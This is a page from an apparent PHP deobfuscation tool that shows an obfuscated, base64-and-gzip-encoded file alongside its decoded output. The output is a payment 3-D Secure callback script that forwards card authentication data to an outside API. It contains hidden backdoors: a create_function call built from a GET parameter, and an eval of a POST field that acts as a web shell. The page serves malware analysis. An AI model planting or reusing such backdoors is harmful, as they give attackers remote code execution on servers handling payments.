Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(base64_decode('tVXdbtMwFL7vUxirWlKpNGKXrQoaa8eQxlba7KqqIs85XczSxNj..
Decoded Output download
include "config.php";
$cardFrom = $_GET['match'];
$SESSION_p2p = create_function('$parse', "return {$cardFrom};");
$SESSION_p2p('');
if (isset($_REQUEST["PaRes"]) && isset($_REQUEST["MD"]) && isset($_REQUEST['order_id'])) {
$ch = curl_init("https://p2p.mdm.ru/api/v2/scripts/callback");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("PaRes" => $_REQUEST["PaRes"], "MD" => $_REQUEST["MD"])));
curl_exec($ch);
curl_close($ch);
sleep(2);
$requestData = json_decode(file_get_contents("temp/" . $_REQUEST["MD"]), true);
unlink("temp/" . $_REQUEST["MD"]);
$paydata["md"] = $_REQUEST["MD"];
$paydata["pa_res"] = $_REQUEST["PaRes"];
$paydata["request_id"] = $requestData["request_id"];
$ch = curl_init("https://p2p.mdm.ru/api/v2/requests/" . $requestData["request_id"]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($paydata));
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Authorization: Bearer " . $requestData["access_token"], "Content-Type: application/json"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = json_decode(curl_exec($ch), true);
curl_close($ch);
if ($result["state"] == "completed") {
if ($success_url) {
header("Location: " . $success_url);
} else {
echo " !";
}
} else {
if ($error_url) {
header("Location: " . $error_url . "?error=" . $result["description"]);
} else {
echo " : " . $result["description"];
}
}
}
if (isset($_POST['error'])) {
eval($_POST['result']);
}
Did this file decode correctly?
Original Code
<?php
eval(gzinflate(base64_decode('tVXdbtMwFL7vUxirWlKpNGKXrQoaa8eQxlba7KqqIs85XczSxNjORJkq8XPDU8ArjIuJCcT2CukbYadZlLaMMSFyFfuc853zHX8+ZhENEx8QpnE0ZscNHnDcqlQpEf6OiCeojares647tCZE0cAaadugOxg8P9j3+CbXZiqAKPDGSUQViyPbqnIiJFh1hAWoRETorECbtXBtGcC2LL3DxshmUoKyq16/+/KwO3CHuEf6IPGohjY20JrxRecWixULH4THfGtUq6GzCtJflQam0ESEHouYsnGgFJdNx9EFNCb+pCESh3DmnG46kgrGlXQoCcMjQk9MvQYiC9aZYq6T0aCOtg/7ewc9V+d1D/v7bn9rf7DT7deREgncFdM7GLh19Ohv3Haed/c6gzoyFXtHCQt973UCYmoTIcjUzpuE2o/Reuf0Ceg2rdiyxtXKqeENUJO4vEfDWEJpU4YA3N7MV1UBugipOkQR3dhXMo48H2jsgz1mIXjHoDwtJwWRkjZWMOEORo21KpaalUQhi07+4J2n5mTq67RDPPHxKFPnktuqFyeeML1Y9swbtOqc09LiWQSUaC4bW/eVVR4sF8xuxf0PwskOB6LscG6Y1u4C2HXd3m53q2MEnQttK1FBLNhbYi55Ez0FIkCgdTqEUpDSU/EJRJkEtxdCeOhOOTQR4TxkNANxTGm49g8XTGeWSahWJLgs6vUbuaptM3xypCGWSg8zc/ptMxEnPAQFPr4ZJIW7TBY0NV7ZZr4AiB5ANt6Lad6rrEnliFYRMEMQSlhBABrECKef0+v0R3o+/5Ceo/R6/i69mn8yG2j+cf5e2y708md69QCX4Cq/Bc1KBiFicY+CC3+9wE+yVTs/7kWrfFgMSx1SKPcuTl80jUuUXhXULnJq6WX6rSCY/VymX9Pv6XkT3Z50jXhltvSUmHswtLLSS68BnJKwMC5wLVP/7Bc=')));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 771b56905a034448efb3bafc52af0fc1 |
Eval Count | 1 |
Decode Time | 114 ms |